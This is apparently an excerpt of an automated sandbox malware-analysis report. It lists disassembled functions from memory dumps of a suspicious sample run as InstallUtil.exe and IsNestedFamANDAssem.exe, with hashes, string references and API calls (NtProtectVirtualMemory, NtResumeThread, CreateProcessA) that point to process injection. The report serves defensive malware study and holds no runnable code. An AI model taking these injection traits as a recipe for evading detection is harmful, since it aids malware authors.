Opcode Fuzzy Hash: 066cbd9848af9c283083d87ed5f70d7c2efaeb8df53a62a6afe3587da1ea1851
Instruction Fuzzy Hash: AE11F574D04248EFCB44EFA9D54969CBFF1EF46304F2094EAD008AB265D7345A84DB51

Function 00D9D809 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466682412.0000000000D9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d9d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7f67ce9140fae53e50877adf0ca0a41cf5deb9bab109854466ac6741d817dd
Instruction ID: 503a4a7181e3e3856b56afc0f0796ac5dad05f60c3077f1628d9968a369834c9
Opcode Fuzzy Hash: 5b7f67ce9140fae53e50877adf0ca0a41cf5deb9bab109854466ac6741d817dd
Instruction Fuzzy Hash: AF01F7310053049ADB209A1ACC84B66FF9CEF45364F2CC42AED480B287C239D844C6B1

Function 00E30931 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4995afd3d960d614bc42ba05ddc2530719bb17661cfec668f89bf9b0ed6892cf
Instruction ID: fedf262aa771e3717f819f34dd460214d54a0f0ab1a4874245bc6e2b6b29bdc7
Opcode Fuzzy Hash: 4995afd3d960d614bc42ba05ddc2530719bb17661cfec668f89bf9b0ed6892cf
Instruction Fuzzy Hash: 23013C3150D3949FC3425B5998293417FB4EF8B325B0554E7D484EF2A3CA659C05DBA2

Function 00E317F8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 721603811d610a870ca37634bcb61bd1d890a2345abe202326ab36bcde6e6ce9
Instruction ID: d490b3d6d5755f2c337363e5d7a069e9706938907d5737324816e2ffce3a4e2d
Opcode Fuzzy Hash: 721603811d610a870ca37634bcb61bd1d890a2345abe202326ab36bcde6e6ce9
Instruction Fuzzy Hash: D1110570D04208EFCB44EFA9E5896ACBFF1EB45304F2094F9D008AB254D7745A85CB45

Function 00D9D808 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466682412.0000000000D9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d9d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367c6e885b607ad98e907f09336e92caa5dbc51207421081fe022397c638a2c2
Instruction ID: 9c43728168ed3ec5d278c5aa16cf1f4779f68daa62ed829070a00fabd4279977
Opcode Fuzzy Hash: 367c6e885b607ad98e907f09336e92caa5dbc51207421081fe022397c638a2c2
Instruction Fuzzy Hash: 93F09671404344DEEB208E1ADC84B66FFA8EF55774F18C55AED484B297C3799C44CAB1

Function 00E316F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6f7c0a86f74b419efce51fae9c1e85b6a205e4a54528979d1ad9de328c65dc9
Instruction ID: 4efd3dd5aa6bec7273aa7ba954d80bc356ec9491ba9218686f6eb2df61c41b35
Opcode Fuzzy Hash: f6f7c0a86f74b419efce51fae9c1e85b6a205e4a54528979d1ad9de328c65dc9
Instruction Fuzzy Hash: 74D0C9700087489FC3461BE9AD086493B7CEE4B22434480E2E485CA133CA2018049B31

Function 00E3176C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfe9a143dc4dacd5b595c2dca27bf7114d6ebad4dba2bcbc67cdc8a4ff64cfd6
Instruction ID: 9adb12de19f0d646cf2a67c00254670cbb08e44aaee1b1564ab425a9630c3293
Opcode Fuzzy Hash: bfe9a143dc4dacd5b595c2dca27bf7114d6ebad4dba2bcbc67cdc8a4ff64cfd6
Instruction Fuzzy Hash: 33C08C20E003A49FEF046BB4B50D32D3F81EB93319F88489CC0819B3A7CAA51C88C731

Function 00E3361E Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcb0c95a904701a8fcaefc87b9fe6c972f7aa576119c4b2baff155398bbff4e8
Instruction ID: 909a7828b4e27001756169d2abd56ab6fca6adbcb89c8269712838fb75d52256
Opcode Fuzzy Hash: fcb0c95a904701a8fcaefc87b9fe6c972f7aa576119c4b2baff155398bbff4e8
Instruction Fuzzy Hash: 7AC01230A00104ABCF055B94EC045AD7AB2DF49300F205014F501723A0C9225C009B34

Function 00E31700 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a5aa096f45c276098947e8d4dc226c008280ed0fdde425d646e14ecde4c7209
Instruction ID: 8d53ba7907df301981fc4e591e1372ef741917225c1ca631d1697ec53b24db66
Opcode Fuzzy Hash: 6a5aa096f45c276098947e8d4dc226c008280ed0fdde425d646e14ecde4c7209
Instruction Fuzzy Hash: ACA01132000B08CB82002BA0BC0C20CBB2CEA0A202B808020E00EC022BCA2028008AA2

Function 00E30960 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4466976613.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e30000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b17623d59e1ef846e2798f00d89c431f83be160e8bb138a14238a2c528b6cecb
Instruction ID: f64f04f0abc94843ea326e81d93807430f85dc9d4e31882bdafc9bd708f52f15
Opcode Fuzzy Hash: b17623d59e1ef846e2798f00d89c431f83be160e8bb138a14238a2c528b6cecb
Instruction Fuzzy Hash: F790023104570CCB454027D57C49555F75C95C55357809051A50D816129EA5641085A5

Analysis Process: IsNestedFamANDAssem.exePID: 2300, Parent PID: 7056COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	232
Total number of Limit Nodes:	9

Executed Functions

Function 0609C9B8 Relevance: 3.1, Strings: 2, Instructions: 615
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 0609CAC2
fbq, xrefs: 0609CAD5

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: fbq$8
API String ID: 0-3186246319
Opcode ID: 052ee01af4275cbcb90d6eebfab036063856676a89c5b89711c53d331a1cd53d
Instruction ID: 4a801d5e73006a26f14d602fb3000ce2dbd7e9b4dc73375e0e94ea550e006a69
Opcode Fuzzy Hash: 052ee01af4275cbcb90d6eebfab036063856676a89c5b89711c53d331a1cd53d
Instruction Fuzzy Hash: 8D52D775E012298FDBA4DF69C850AD9B7B2FF89310F1085AAD909B7344DB34AE85CF50

Function 0609C9A8 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h, xrefs: 0609CAB6
fbq, xrefs: 0609CAD5

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: fbq$h
API String ID: 0-3598783323
Opcode ID: 12f019d668fbd2f7b9b792aa4243eb225a714a7c6c923ae5574678776d41506a
Instruction ID: ae8f30da0cb018ba9e78d7cdbdf2d027b10714db3b8eb83a17671b3bd5a07e0e
Opcode Fuzzy Hash: 12f019d668fbd2f7b9b792aa4243eb225a714a7c6c923ae5574678776d41506a
Instruction Fuzzy Hash: 4381F675D012198FEB54DF69C840AD9BBB6FF89304F1082AAD509A7250DB345E85CFA1

Function 06CDFEB8 Relevance: 1.6, APIs: 1, Instructions: 69nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06CDFF49

Memory Dump Source

Source File: 00000005.00000002.2385524832.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cd0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: b45ef3363c5b56d53dc05c6b212c8520eae8ea28a75795ddf7f11daa8713b2c0
Instruction ID: f332ff6f67d4a1e5dbc716caaa3ebc61211581a09fcc116232b0dc19e4d97f64
Opcode Fuzzy Hash: b45ef3363c5b56d53dc05c6b212c8520eae8ea28a75795ddf7f11daa8713b2c0
Instruction Fuzzy Hash: 8221F4B1D012499FCB10DFAAD984ADEFBF9FF48310F20842AE519A7350C775A940CBA5

Function 06CDFEC0 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06CDFF49

Memory Dump Source

Source File: 00000005.00000002.2385524832.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cd0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e257c4caf7a6dde1b36eeebe4290a36ba37d284bd04e7f0c2b56447c66af04cd
Instruction ID: 6b768882051e05fe25f41939c12ff230a5d55e6088c3f69b138b0475492dadbd
Opcode Fuzzy Hash: e257c4caf7a6dde1b36eeebe4290a36ba37d284bd04e7f0c2b56447c66af04cd
Instruction Fuzzy Hash: 7A21D2B1D012499FCB10DFAAD984AEEFBF5FF48310F20842AE519A7250C775A944CBA5

Function 06E931D0 Relevance: 1.6, APIs: 1, Instructions: 60nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06E93246

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e02e487acc0a50dd8b991c1298467b5eea2ff6dd9313f4c62ecf7a7809fcbac5
Instruction ID: 76309b3caf2ba1c8f827c7aab713a61d2bc43819a13662157fac7a2c373a9221
Opcode Fuzzy Hash: e02e487acc0a50dd8b991c1298467b5eea2ff6dd9313f4c62ecf7a7809fcbac5
Instruction Fuzzy Hash: B41138B1D003088ECB10DFAAC485AEFFBF5EF48324F10842AD419A7640CB799944CFA1

Function 06E931D8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06E93246

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9a65e7142fffc465563fbfdd376e83b88a23d2247b9e8b70f4934b6f7480d5b1
Instruction ID: 44f15c8ba66faad1790e1ac57328940c03ae1426894674b29e008a940807f74a
Opcode Fuzzy Hash: 9a65e7142fffc465563fbfdd376e83b88a23d2247b9e8b70f4934b6f7480d5b1
Instruction Fuzzy Hash: C11126B1D003488FCB10DFAAC484AAEFBF4FF88314F10842AD419A7240DB78A944CFA5

Function 06CDFF89 Relevance: 1.5, APIs: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06CDFF49

Memory Dump Source

Source File: 00000005.00000002.2385524832.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cd0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5b73f27e1de830b977d40d8a49d61eb3b59083c0cacecca460d8bbaa0eba121f
Instruction ID: 4c9ccaa198f21dfe21da39d537dbf3823da4eb1fe7b7291de90c792a4107e6ce
Opcode Fuzzy Hash: 5b73f27e1de830b977d40d8a49d61eb3b59083c0cacecca460d8bbaa0eba121f
Instruction Fuzzy Hash: C70149314013044FC761EBA9EC143DEBBF4AF86310F14845DD15A972A1CA799C44D7B1

Function 06D774B0 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06D77682

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 47644f89ea57a8adc154dece7b3a7e171c7743efc64a654256ad83ffa03c1aaa
Instruction ID: 34f8c613bba7a7d6bd86793af87d6adbe198c03fe9a8c9fae9eb942de6ac8073
Opcode Fuzzy Hash: 47644f89ea57a8adc154dece7b3a7e171c7743efc64a654256ad83ffa03c1aaa
Instruction Fuzzy Hash: 5BB1F774E01218CFDB94CF69D484BADBBF2FB89304F1088A9D409A7255EB749D85CF41

Function 06D774A3 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06D77682

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 750f65389f1090bf63cd3d51c184b729ae10a0d83e386d3d05d9f3200d8ac9a7
Instruction ID: b8b207fe6ddd2b3610530ccadf5d17b4e387352a4d25849e195066fc4041fcc9
Opcode Fuzzy Hash: 750f65389f1090bf63cd3d51c184b729ae10a0d83e386d3d05d9f3200d8ac9a7
Instruction Fuzzy Hash: 1AB10574E01218CFDB94CFA9D484B9DBBF2FB89300F1084A9D409A7265EB749D85CF41

Function 06D70040 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

J, xrefs: 06D7010F

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: ff530946c5ad77d66bf712610fcf5ac378eaad7a61a37e1f9f4e6533e0a5e7a4
Instruction ID: 7da49d863f14a14359c4ca5fd229442d1c7be9de3a6c2ba62acc226d319c4fb2
Opcode Fuzzy Hash: ff530946c5ad77d66bf712610fcf5ac378eaad7a61a37e1f9f4e6533e0a5e7a4
Instruction Fuzzy Hash: C0318AB1D156288BEB59CF6BDC4069DFAFBBFC8204F04D1AAD90CA6254DB700B818F45

Function 0717E2B0 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

PZT, xrefs: 0717E5DC

Memory Dump Source

Source File: 00000005.00000002.2386674114.0000000007160000.00000040.00000800.00020000.00000000.sdmp, Offset: 07160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7160000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: PZT
API String ID: 0-3004033766
Opcode ID: 4fec116304b5d8f3510152c703aca6c52fdc574147b24ea3fce4ae8700d53935
Instruction ID: 63f54c04f94b7237be1dc608a731bf08bab5f6ee2b1369e87a670fb3d57589ea
Opcode Fuzzy Hash: 4fec116304b5d8f3510152c703aca6c52fdc574147b24ea3fce4ae8700d53935
Instruction Fuzzy Hash: 48310C74A01214DFEB54CF29D855B99B7F6FB49300F1085EAD90AA7391DB399D88CF04

Function 0166A041 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101ff08c39cecc665d8ae3b186bc659329b156294bccd59027e583b0895b1abc
Instruction ID: a5cfe16379a820415e1f81e9dfad55b2688050e915b4eb7a9b1719782c7dad9c
Opcode Fuzzy Hash: 101ff08c39cecc665d8ae3b186bc659329b156294bccd59027e583b0895b1abc
Instruction Fuzzy Hash: 5C51A070D4522CCBEB24CF69CD84B99B7B5BB49304F14C6E9D40AA3251DB309AC6CF51

Function 0166A067 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85cb860a88589cf5bbc434cd37a57a54bdbf90957fc213e433d31cef04594615
Instruction ID: 8f7771ec4417c5eb3743d7f868756f4ea59405620202908fbf58a8f3f13d68fe
Opcode Fuzzy Hash: 85cb860a88589cf5bbc434cd37a57a54bdbf90957fc213e433d31cef04594615
Instruction Fuzzy Hash: 1F51B270D4122CCBEB24CF69CD80B99B7B5BB49304F14C6E6D40AA3251DB309AC6CF51

Function 06099B6C Relevance: 3.8, Strings: 3, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<, xrefs: 0609A160
D, xrefs: 06099B76
>, xrefs: 0609A13A

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: <$>$D
API String ID: 0-588199494
Opcode ID: f79ab0e9a46052eba6f0ab987cec940d7e86b572dbcb4938a0116be5cbc125a6
Instruction ID: 3d6fb3d3f58b646f243f89482afdd5dcaac049068a812b436748ba387a8a66b9
Opcode Fuzzy Hash: f79ab0e9a46052eba6f0ab987cec940d7e86b572dbcb4938a0116be5cbc125a6
Instruction Fuzzy Hash: 4F419074A41258CFEBA4CF58C888B9DBBB2BB89304F1484AAD509B7340D7395EC9CF10

Function 06099246 Relevance: 3.8, Strings: 3, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 06099287
2, xrefs: 06099236
+, xrefs: 0609921C

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: +$2$6
API String ID: 0-1188992160
Opcode ID: 015294ecbc0eadca5ca209e8ce32c6ebe26ffbf812ccc4217fb773028f867129
Instruction ID: 6bcf044fa6790f0289b3eaa6185d968ad576213825584a8eba98a9853c09d180
Opcode Fuzzy Hash: 015294ecbc0eadca5ca209e8ce32c6ebe26ffbf812ccc4217fb773028f867129
Instruction Fuzzy Hash: 5331D274985258CFDBA0CF54C888B9DBBB2BB4A344F1894EAD409B7250C7355EC5CF24

Function 06C91EA8 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4']q, xrefs: 06C92669
4']q, xrefs: 06C92659

Memory Dump Source

Source File: 00000005.00000002.2385221527.0000000006C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c90000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 6b1fc3570077271029cebc54a0cbc645f45e3367b24b6aedc3cc938401d00175
Instruction ID: b8aa948e3f8ef6957d392d7857c5488d40a70272b319cfaed62c7229eeb5616e
Opcode Fuzzy Hash: 6b1fc3570077271029cebc54a0cbc645f45e3367b24b6aedc3cc938401d00175
Instruction Fuzzy Hash: 3A421774E10209DFDF94DBE9D45CAADB7B6FF49311F108019D952AB254C738AA42CFA0

Function 06C929D0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06C92E66
4']q, xrefs: 06C92E76

Memory Dump Source

Source File: 00000005.00000002.2385221527.0000000006C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c90000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 9bc4abe822e4b85b9849e3ecd06453eae7da7ce909b9a0e85aefbf2d8efa0fbf
Instruction ID: 003e92a2112c8ce7ba62259b3d5c97a5bf5d39f8dd63b65f027297c481eb5228
Opcode Fuzzy Hash: 9bc4abe822e4b85b9849e3ecd06453eae7da7ce909b9a0e85aefbf2d8efa0fbf
Instruction Fuzzy Hash: 3BF1B774D11208EFDF54DFA5E4986ACBBB2FF49325F604069E446AB350CB396A82CF50

Function 01665775 Relevance: 2.7, Strings: 2, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 01665B34
`Q]q, xrefs: 01665AC9

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: PH]q$`Q]q
API String ID: 0-2790359648
Opcode ID: b907a69bba142d8d93ce34f6f7921be5248b67debee1b0712525ece04b6d5d20
Instruction ID: 5dcf3da5cfaed2258edac85ff9f714db65c7a43b98c8ac1c200444833110f3fd
Opcode Fuzzy Hash: b907a69bba142d8d93ce34f6f7921be5248b67debee1b0712525ece04b6d5d20
Instruction Fuzzy Hash: 72B1EFB4D44269CFDB60CF24DC49BA9BBB9BB49351F0041EAC64AA7284DB741AC5CF09

Function 06C93968 Relevance: 2.7, Strings: 2, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06C93BE9
4']q, xrefs: 06C93BF9

Memory Dump Source

Source File: 00000005.00000002.2385221527.0000000006C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c90000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 61ae8c240f62d5286793b97da98b25517a4b73a413dc0aa159af4936b0b5e8b9
Instruction ID: eb9f8cdb8fdcfc14d4e4753fd0fd184ae6b314a953b5dc66ebf92bcc4c61465e
Opcode Fuzzy Hash: 61ae8c240f62d5286793b97da98b25517a4b73a413dc0aa159af4936b0b5e8b9
Instruction Fuzzy Hash: 5D91BD74E01248CFCF98DFA9D4586EDBBB2FF49215F109029D42AB7290CB356942CF60

Function 0609922B Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

<, xrefs: 0609A160
>, xrefs: 0609A13A

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: <$>
API String ID: 0-3803789803
Opcode ID: a6681f3e197a991812911e8cd15bd21cf094a7ed00f21adc620763b8c71cb8b8
Instruction ID: 09d8898dc611d4eda8a2b1f543e757d529975c737a085e3ce1965b66f82b5b3f
Opcode Fuzzy Hash: a6681f3e197a991812911e8cd15bd21cf094a7ed00f21adc620763b8c71cb8b8
Instruction Fuzzy Hash: E8419074A41258CFDBA4DF58C888B9DBBB2BB89304F1484AAD509B7350CB395EC9CF10

Function 0609949E Relevance: 2.6, Strings: 2, Instructions: 82COMMON

Download Yara Rule

Strings

<, xrefs: 0609A160
>, xrefs: 0609A13A

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: <$>
API String ID: 0-3803789803
Opcode ID: 86c532f45809731361a197f8ff265b62c5240617350a5391c8a1aec956aa7886
Instruction ID: 8e61d37f0db367abba0f2fa99d1f9f3d85636eb51f74f9d770cb70bd8f9d2a29
Opcode Fuzzy Hash: 86c532f45809731361a197f8ff265b62c5240617350a5391c8a1aec956aa7886
Instruction Fuzzy Hash: 76419F74A41258CFEBA4DF58C888B9DBBB2BB89304F1484AAD509B7340D7395E898F10

Function 06099563 Relevance: 2.5, Strings: 2, Instructions: 49COMMON

Download Yara Rule

Strings

), xrefs: 0609962C
A, xrefs: 0609A3EF

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: )$A
API String ID: 0-955135197
Opcode ID: 812a78a3d4cbb607655f7121acc4bfb62bf0e42188e44c8088ef584cee4a8a0a
Instruction ID: b73dba2508b4e818635295b304d8d366ae622d96c493b3bc8ecfad3e8998b7c5
Opcode Fuzzy Hash: 812a78a3d4cbb607655f7121acc4bfb62bf0e42188e44c8088ef584cee4a8a0a
Instruction Fuzzy Hash: 1D21AD74A45228CFDB94DF68C848BD9BBB6FB49708F1081E9D40DA7241DB359E858F40

Function 06E9097D Relevance: 1.7, APIs: 1, Instructions: 206processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06E90B62

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 203fc011f21514f7519d2d70f9fc49db634ed03ccf619b3070b4f3205c6f04c1
Instruction ID: 53f31bc9703b58b572ea84281a58a1dfc3629ca6ea9b70f4b83bcce9ae1c10f5
Opcode Fuzzy Hash: 203fc011f21514f7519d2d70f9fc49db634ed03ccf619b3070b4f3205c6f04c1
Instruction Fuzzy Hash: B8813571D003599FDF50CFA9C8817EEBBF2BF48318F548529E858A7254E7B49881CB91

Function 06E90988 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06E90B62

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 07a2d7a91d2d1ab7a7d547b2127ed8d439a4492f878c90a3cf2d299ed8b2c5ab
Instruction ID: 177eca0edb53a049ccc99642e8c4a8333ebd300ff91b114f5f425cb904561456
